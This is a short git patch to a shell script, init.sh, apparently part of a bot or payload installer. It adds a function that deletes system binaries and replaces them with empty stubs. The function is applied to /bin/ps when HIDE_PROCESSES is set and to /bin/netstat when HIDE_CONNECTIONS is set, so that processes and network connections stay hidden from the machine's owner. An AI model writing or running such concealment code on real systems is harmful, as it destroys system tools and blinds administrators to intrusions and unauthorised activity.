From b0e889c9773fc2634698f90da9a985928f921756 Mon Sep 17 00:00:00 2001 From: shim_ Date: Wed, 22 Jun 2016 19:30:17 +0200 Subject: [PATCH] refractor & option to hide connections --- init.sh | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/init.sh b/init.sh index 00ba3d3..30f0270 100755 --- a/init.sh +++ b/init.sh @@ -37,8 +37,16 @@ else report_loop fi +function disable_command { + rm -f $1 + echo -e "#!/bin/sh\n\n/bin/true" > $1 + chmod +x $1 +} + if [ ! -z "$HIDE_PROCESSES" ]; then - rm -f /bin/ps - echo -e "#!/bin/sh\n\n/bin/true" > /bin/ps - chmod +x /bin/ps + disable_command "/bin/ps" +fi + +if [ ! -z "$HIDE_CONNECTIONS" ]; then + disable_command "/bin/netstat" fi